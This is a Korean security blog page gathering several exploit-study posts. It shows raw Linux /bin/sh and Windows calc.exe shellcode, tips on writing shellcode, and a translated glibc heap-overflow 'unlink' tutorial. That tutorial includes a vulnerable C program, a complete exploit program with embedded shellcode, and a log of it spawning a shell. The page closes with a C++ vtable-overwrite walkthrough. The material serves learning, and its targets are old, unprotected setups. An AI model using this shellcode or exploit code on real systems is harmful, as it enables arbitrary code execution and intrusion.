달력

4

« 2024/4 »

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
2017. 7. 6. 20:29

[Linux] 쉘코드 모음집 Security/Exploits2017. 7. 6. 20:29

1. /bin/sh

지원 버전 : Linux x86

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50

\x53\x89\xe1\xb0\x0b\xcd\x80









References

[1] http://shell-storm.org/shellcode/files/shellcode-827.php

'Security > Exploits' 카테고리의 다른 글

[Windows] 쉘코드 모음집  (0) 2017.07.06
[Linux] 쉘코드 제작 요약 설명  (0) 2017.07.06
[Linux] Heap overflow using unlink - 번역글  (0) 2017.07.06
[Windows] C++ vtable overwrite  (0) 2017.07.05
:
Posted by einai
2017. 7. 6. 20:28

[Windows] 쉘코드 모음집 Security/Exploits2017. 7. 6. 20:28

1. 계산기 호출 

지원 버전 : win32/xp sp3

\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x13\x53\xbb\xad\x23\x86

\x7c\xff\xd3\x31\xc0\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe0\xff\xff

\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x63\x61\x6c\x63

\x2e\x65\x78\x65












References

[1] http://shell-storm.org/shellcode/files/shellcode-704.php

'Security > Exploits' 카테고리의 다른 글

[Linux] 쉘코드 모음집  (0) 2017.07.06
[Linux] 쉘코드 제작 요약 설명  (0) 2017.07.06
[Linux] Heap overflow using unlink - 번역글  (0) 2017.07.06
[Windows] C++ vtable overwrite  (0) 2017.07.05
:
Posted by einai
2017. 7. 6. 20:26

[Linux] 쉘코드 제작 요약 설명 Security/Exploits2017. 7. 6. 20:26

쉘 코드를 제작하는 방법을 요약하면 대략 아래와 같다. 


1. C를 기반으로 코딩 후 컴파일

2. 생성된 실행파일을 디어셈블러로 확인 

3. 주요 부분 발췌 후 어셈블리 코드 작성

4. objdump 명령어를 통해서 기계어 확인

5. Null 바이트 제거 


중요한 부분은 기계어에 포함된 널 바이트를 제거하는 것과 주어진 공간에 잘 맞추는 것이 아닐까 싶다. 

주저리 주저리 상세히 작성해보려 했지만 워낙 동일한 내용에 잘 되어있는 사이트들이 많아서 이정도만 작성한다.


일단 어셈블리어에 익숙한 사람들은 바로 어셈을 작성해도 큰 문제가 없을 것 같다. 


나도 이번 기회에 처음 쉘코드를 작성해봤는데 위 1번과 2번은 크게 신경써지지 않았다. 

내가 진행한 순서는 아래와 같다. 


1. 내가 쉘코드로 실행하고자 하는 바를 간단히 코딩 (의사코드 형식)

2. syscall 테이블을 확인 (64비트)

3. 필요한 파라미터 확인 및 준비 

4. Null 바이트 확인 및 제거


처음엔 나도 C 기반으로 코딩하고 확인하는 순서대로 진행해보았으나 오히려 남들이 작성해놓은 쉘코드를 한 두개 확인하고 내가 작성한 쉘코드의 문제점을 개선하는 쪽이 훨씬 직관적이고 빨랐다. 


내가 참고한 사이트와 syscall 테이블, 쉘코드를 볼 수 있는 사이트들을 아래에 기록해놓았다. 





References

[1] Writing 64-Bit Shellcode - Part 1 (Beginner Assembly), 

 https://null-byte.wonderhowto.com/how-to/writing-64-bit-shellcode-part-1-beginner-assembly-0161593/

[2] Writing 64-Bit Shellcode - Part 2 (Removing Null-Bytes), 

 https://null-byte.wonderhowto.com/how-to/writing-64-bit-shellcode-part-2-removing-null-bytes-0161591/

[3] Searchable Linux Syscall Table for x86 and x86_64, https://filippo.io/linux-syscall-table/

[4] shell-storm, http://shell-storm.org/

'Security > Exploits' 카테고리의 다른 글

[Linux] 쉘코드 모음집  (0) 2017.07.06
[Windows] 쉘코드 모음집  (0) 2017.07.06
[Linux] Heap overflow using unlink - 번역글  (0) 2017.07.06
[Windows] C++ vtable overwrite  (0) 2017.07.05
:
Posted by einai

Understanding glibc malloc 


이 포스터에서 우리는 언링크 기술을 이용하여 어떻게 힙 오버플로우가 성공적으로 익스플로잇 되는지 알아볼 것이다. 하지만 언링크를 살펴보기 이전에 첫 번째로 취약한 프로그램 코드를 살펴보도록 하자.


/* 

 Heap overflow vulnerable program. 

 */

#include <stdlib.h>

#include <string.h>


int main( int argc, char * argv[] )

{

        char * first, * second;


/*[1]*/ first = malloc( 666 );

/*[2]*/ second = malloc( 12 );

        if(argc!=1)

/*[3]*/         strcpy( first, argv[1] );

/*[4]*/ free( first );

/*[5]*/ free( second );

/*[6]*/ return( 0 );

}


위 코드의 [3] 라인은 힙 오버플로우를 발생시킨다. 사용자의 입력값 'argv[1]'은 어떠한 입력값 제한없이 힙 버퍼의 first에 문자열을 복사한다. 그렇기 때문에 사용자의 입력 값이 666 바이트보다 크다면 다음 청크의 청크 헤더를 덮어쓰게 된다. 이 오버플로우는 임의의 코드 실행을 이끌게 한다. 


그림을 이용하여 취약한 프로그램의 힙 메모리 영역을 보도록 하자. 




언링크(Unlink) : 이 기술의 주 아이디어는 'glibc malloc'을 속여 'second' 청크를 언링크하는 것이다. 언링킹하는 동안에 free 함수의 GOT 엔트리는 쉘코드의 주소로 덮어써질 것이다. 성공적으로 덮어써진 뒤에, [5] 라인에 있는 free 함수가 취약한 프로그램에 의해 호출될 때 쉘코드는 실행될 것이다. 

굉장히 깔끔하지 않은가? 우선 free가 실행될 때 'glibc malloc'이 하는 행위를 보도록 하자.  


공격자가 영향력을 행사하기 전에 [4] 라인에 있는 free 함수는 아래의 행위를 할 것이다. 


  •  non mapped chunk에 대해, 앞이나 뒤에 있는 청크들과 병합할 것이다. 
  • 뒤에 있는 청크와의 병합
    • 이전 청크 상태가 프리일 경우 - 만약 현재 프리된 청크의 PREV_INUSE(P) 비트가 설정되어 있지 않으면 이전 청크의 상태는 프리이다. 하지만 우리의 경우, 'first'의 PREV_INUSE 비트가 설정되어 있기 때문에 이전 청크는 할당되어 있다(힙 메모리의 첫번째 청크의 이전의 기본 청크는 심지어 존재하지 않더라도 할당되어 있다).
    • 프리 상태일 경우 - 이것의 BINLIST 로부터 이전 청크를 언링크하고, 이전 청크의 크기를 현재 크기에 더하고 청크의 포인터를 이전 청크의 포인터로 변경한다. 하지만 우리의 경우, 이전 청크가 할당되어 있기 때문에 언링킹 과정은 발생하지 않는다. 따라서 현재 프리된 청크 'first'는 뒤 청크와 병합되지 못할 것이다. 
    • 앞에 있는 청크와의 병합 
      • 다음 청크 상태가 프리일 경우 - 만약 다-다음 청크(next-to-next chunk)의 PREV-INUSE(P) 비트가 설정되어 있지 않으면 다음 청크의 상태는 프리이다. 다-다음 청크를 찾아가기 위해, 현재 프리된 청크의 크기를 이것의 청크 포인터에 더하고 다음 청크의 크기를 다음 청크의 포인터에 더한다. 우리의 경우 프리된 'first' 청크의 다-다음 청크는 탑 청크(top chunk)이고 이것의 PREV_INUSE 비트는 설정되어 있다. 따라서 다음 청크 'second' 청크는 프리 상태가 아니다(즉, 다 다음 청크의 PREV_INUSE 비트 설정 여부를 파악하여 다음 청크의 상태를 체크한다는 의미).
      • 프리 상태일 경우 - 이것의 BINLIST 로부터 다음 청크를 언링크하고 다음 청크의 사이즈를 현재의 청크 사이즈에 더한다 . 하지만 우리의 경우 다음 청크는 할당되어 있고 따라서 언링크 과정은 발생되지 않는다. 따라서 현재 프리된 청크 'first'는 앞 쪽의 청크와 병합될 수 없다. 
      • 이제 병합된 청크를 'unsorted bin'에 추가한다. 우리의 경우 병합 과정이 발생하지 않았기 때문에 'first' 청크만 'unsorted bin'에 추가된다. 


      이제 공격자가 [3] 라인에서 'second' 청크의 청크 헤더를 아래와 같이 덮어쓰게 해보자.

      • PREV_SIZE = 짝수로 설정, 따라서 PREV_INUSE 비트는 설정되어 있지 않다. 
      • SIZE = -4
      • FD = free address - 12  (free 함수의 GOT 엔트리 주소 - 12)
      • BK = Shellcode address 

      공격자가 영향력을 행사함에 따라 [4] 라인에 있는 'free' 함수는 아래와 같이 동작할 것이다. 

      • non mapped chunks 에 대해, 앞이나 뒤에 있는 청크들과 병합할 것이다. 
      • 뒤에 있는 청크와의 병합 
        • 이전 청크 상태가 프리일 경우 - (동일)
        • 프리 상태일 경우 - (동일)
        • 앞에 있는 청크와의 병합 
          • 다음 청크 상태가 프리일 경우 - 지금 상태의 경우 프리된 'first' 청크의 다-다음 청크는 탑 청크가 아니다. 공격자가 'second' 청크의 크기를 -4로 덮어썼기 때문에 'second' 청크로부터 -4 떨어진 곳에 다-다음 청크가 있다. 따라서 'glibc malloc'은 'second' 청크의 PREV_INUSE 필드를 다-다음 청크의 크기로 취급한다. 공격자가 PREV_SIZE 대신에 짝수로 덮어썼기 때문에 'glibc malloc'은 'second' 청크가 프리 상태라고 생각한다. 
          • 프리 상태일 경우 - 지금 상태의 경우 다음 청크가 프리 상태이고 따라서 'second' 청크는 아래와 같은 언링크 과정을 따른다. 
          • 'second' 청크의 FD와 BK 값을 변수 FD와 BK로 각각 복사한다. 우리의 경우 FD = free address - 12 와 BK = shellcode address 로 복사한다(힙 오버플로우의 경우, 공격자는 그의 쉘코드를 'first' 힙 버퍼에 위치시킨다). 
          • BK의 값은 FD로부터 오프셋 12 위치에 복사된다. 우리의 경우 'free' 함수의 GOT 엔트리를 가리키는 FD에 12바이트를 더해주었고 따라서 이제 'free' 함수의 GOT 엔트리는 쉘코드 주소로 덮어써진다. 이제 'free' 함수가 불러질 때마다 쉘코드는 실행될 것이다. 따라서 취약한 프로그램에서 [5] 라인을 실행할 때마다 쉘 코드가 실행되는 것이다. 


        공격자가 청크헤더를 변조시킨 내용을 그림으로 확인해보자. 




        언링크 기술을 이해하기 위해, 익스폴리잇을 작성해보겠다. 

        /* Program to exploit 'vuln' using unlink technique.

         */

        #include <string.h>

        #include <unistd.h>


        #define FUNCTION_POINTER ( 0x0804978c )      //Address of GOT entry for free function obtained using "objdump -R vuln".

        #define CODE_ADDRESS ( 0x0804a008 + 0x10 ) //Address of variable 'first' in vuln executable. 


        #define VULNERABLE "./vuln"

        #define DUMMY 0xdefaced

        #define PREV_INUSE 0x1


        char shellcode[] =

                /* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function

                (by statement BK->fd = FD). Hence if no jump exists shell code would get corrupted by unlink function. 

                Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/

                "\xeb\x0assppppffff"

                "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"

                "\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";


        int main( void )

        {

                char * p;

                char argv1[ 680 + 1 ];

                char * argv[] = { VULNERABLE, argv1, NULL };


                p = argv1;

                /* the fd field of the first chunk */

                *( (void **)p ) = (void *)( DUMMY );

                p += 4;

                /* the bk field of the first chunk */

                *( (void **)p ) = (void *)( DUMMY );

                p += 4;

                /* the fd_nextsize field of the first chunk */

                *( (void **)p ) = (void *)( DUMMY );

                p += 4;

                /* the bk_nextsize field of the first chunk */

                *( (void **)p ) = (void *)( DUMMY );

                p += 4;

                /* Copy the shellcode */

                memcpy( p, shellcode, strlen(shellcode) );

                p += strlen( shellcode );

                /* Padding- 16 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize 

                of first chunk */

                memset( p, 'B', (680 - 4*4) - (4*4 + strlen(shellcode)) );

                p += ( 680 - 4*4 ) - ( 4*4 + strlen(shellcode) );

                /* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */

                *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );

                p += 4;

                /* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/

                *( (size_t *)p ) = (size_t)( -4 );

                p += 4;

                /* the fd field of the second chunk. It should point to free - 12. -12 is required since unlink function

                would do + 12 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in 

                second chunk's bk field (see below) */

                *( (void **)p ) = (void *)( FUNCTION_POINTER - 12 );

                p += 4;

                /* the bk field of the second chunk. It should point to shell code address.*/

                *( (void **)p ) = (void *)( CODE_ADDRESS );

                p += 4;

                /* the terminating NUL character */

                *p = '';


                /* the execution of the vulnerable program */

                execve( argv[0], argv, NULL );

                return( -1 );

        }



        위의 프로그램을 실행시키면 새로운 쉘이 발생한다. 


         sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2

        sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ gcc -g -o exp exp.c

        sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ ./exp 

        $ ls

        cmd  exp  exp.c  vuln  vuln.c

        $ exit

        sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$




        지금은 'glibc malloc'이 보완되었기 때문에 언링크 기술이 동작하지 않는다. 

        취약한 버전 : glib 2.3.2 이하의 버전 


        아래의 점검 로직이 언링크 기술을 방어하기 위해 추가되었다. 



        Double free 

        이미 프리 상태에 있는 청크를 프리하는 행위는 금지된다. 공격자가 SIZE를 덮어쓰고 난 뒤 'second' 청크의 PREV_INUSE의 비트 값은 설정되어 있지 않기 때문에 'glibc malloc'은 'first' 청크가 이미 프리되어 있다고 판단하고 Double free 에러를 발생시킨다. 


        if (__glibc_unlikely (!prev_inuse(nextchunk)))

        {

        errstr = "double free or corruption (!prev)";

        goto errout;

        }


        Invalid next size 

        다음 청크 크기는 아레나의 총 시스템 메모리에 8바이트 사이여야 한다. 공격자가 'second' 청크의 사이즈를 -4로 덮어쓸 때, 'glibc malloc'은 유효하지 않은 사이즈 에러를 발생시킨다. 

        Next chunk size should lie between 8 bytes to arena's total system memory.

        (아레나의 총 시스템 메모리라는 의미를 잘 몰라서 원본을 첨부시켜놓겠다. 아시는 분은 설명 부탁드려용 - 대략 8 배수라는 의미 같기는 한데...) 

        if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)

        || __builtin_expect (nextsize >= av->system_mem, 0))

          {

        errstr = "free(): invalid next size (normal)";

        goto errout;

          }



        Currupted Double Linked list 

        이전 청크의 FD와 다음 청크의 BK는 현재 언링크되어 있는 청크를 가리켜야 한다. 공격자가 FD와 BK를 free-12 와 쉘코드 주소로 덮어쓴다면 free 와 쉘코드 주소 + 8은 현재의 언링크된 청크를 가리키지 않기 때문에 'glibc malloc'은 오염된 이중 링크드 리스트 에러를 발생시킬 것이다. 


        if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                     

          malloc_printerr (check_action, "corrupted double-linked list", P); 





        데모를 목적으로 취약한 프로그램은 아래의 리눅스 보호 메커니즘을 제외한 뒤에 컴파일 되었다. 

        ASLR, NX, RELRO









        차근차근 하나씩 조지자. 





        Reference 

        [1] Heap overflow using unlink, https://sploitfun.wordpress.com/2015/02/26/heap-overflow-using-unlink/

        [2] Heap overflow using unlink(Translation), 

        http://blog.naver.com/PostView.nhn?blogId=mathboy7&logNo=220651761122&categoryNo=0&parentCategoryNo=0&viewDate=&currentPage=1&postListTopCurrentPage=1&from=postView

        'Security > Exploits' 카테고리의 다른 글

        [Linux] 쉘코드 모음집  (0) 2017.07.06
        [Windows] 쉘코드 모음집  (0) 2017.07.06
        [Linux] 쉘코드 제작 요약 설명  (0) 2017.07.06
        [Windows] C++ vtable overwrite  (0) 2017.07.05
        :
        Posted by einai
        2017. 7. 5. 09:04

        [Windows] C++ vtable overwrite Security/Exploits2017. 7. 5. 09:04

        1. Virtual Method Table(Virtual Call Table, vtable)

        런타임 메소드 바인딩을 지원하기 위해 프로그래밍 언어에서 사용하는 방법이다. 

        클래스가 가상 함수(또는 가상 메소드)을 정의할 때마다, 대부분의 컴파일러들은 클래스에 숨겨진 멤버 변수를 추가하는데, 이것은 (가상) 함수들에 대한 포인터들의 배열들(가상 메소드 테이블(VMT 또는 Vtable)라고 불리는)을 가리킨다. 이 포인터들은 실행 기간 도중에 정확한 함수를 가리키게 되는데, 왜냐하면 컴파일 타임에는 베이스 함수가 호출될 것인지 또는 베이스 클래스를 상속한 클래스에 의해서 구현될 지 알려져 있지 않기 때문이다.

        출처 : https://ko.wikipedia.org/wiki/가상_메소드_테이블




        2. vtable Overwrite 


        단지 저 위에 있는 글만 보았을 때 잘 감이 오지 않는다. 

        따라서 어떤식으로 동작하는 지 확인하면서 어떻게 익스플로잇이 가능한지 살펴보도록 하겠다. 


        우선 테스트로 사용할 코드는 아래와 같다. 


        [그림 1] 소스 코드 


        위 코드에서 클래스를 인스턴스화 할 때 ECX 레지스터에 스택의 주소를 전달한 뒤 함수를 호출하는데

        해당 함수는 단순히 전달받은 스택 주소에 클래스의 vtable 주소를 저장한다. 


        그리고 난 뒤 멤버 함수를 호출할 때 vtable이 저장된 스택의 주소를 ECX 레지스터에 저장하고

        이를 참조하여 함수를 호출하게 된다. 


        [그림 2] 클래스 할당 및 멤버 함수 호출


        아래의 그림은 멤버 함수 안에 있는 어셈블리어인데 이를 확인하면 조금 더 이해하기 쉬울 것이다.

        ECX 레지스터를 새로운 멤버 함수의 스택 공간에 저장하고 가상 함수를 호출할 때는 이를 참조하는 것을 볼 수 있다. 


        여기서 멤버 함수 내의 스택 공간에 저장한 값은 단지 최초에 저장된 vtable 위치라는 것을 주의해라. 


        [그림 3] 멤버 함수내 가상함수 호출 과정


        [그림 4]는 멤버 함수의 스택 구조를 나타낸다. 

        위에서 설명한 바와 같이 vtable을 참조하는 모습을 볼 수 있다. 


        [그림 4] 멤버 함수 스택 구조 


        소스코드에서 볼 수 있는 것처럼 전달받은 파라미터의 길이를 검증하는 코드가 없기 때문에 오버플로우가 발생하는 것을 볼 수 있다. [그림 5]에서 vtable이 저장되어 있는 곳이 파라미터로 전달된 값으로 채워진 것을 볼 수 있다. 


        [그림 5] vtable overwrite


        이후 가상 함수를 호출할 때 vtable을 참조하는 과정에서 예외가 발생하게 된다. 


        [그림 6] 예외 발생 




        대충 이런식으로 취약점이 발생한다. 

        개념을 정리하는 관점에서 흐름만 나열해보았다. 




        ♧ 틀린 내용은 혼자만 아시지 마시고 저도 알려주세요 - ㅅ-!

        'Security > Exploits' 카테고리의 다른 글

        [Linux] 쉘코드 모음집  (0) 2017.07.06
        [Windows] 쉘코드 모음집  (0) 2017.07.06
        [Linux] 쉘코드 제작 요약 설명  (0) 2017.07.06
        [Linux] Heap overflow using unlink - 번역글  (0) 2017.07.06
        :
        Posted by einai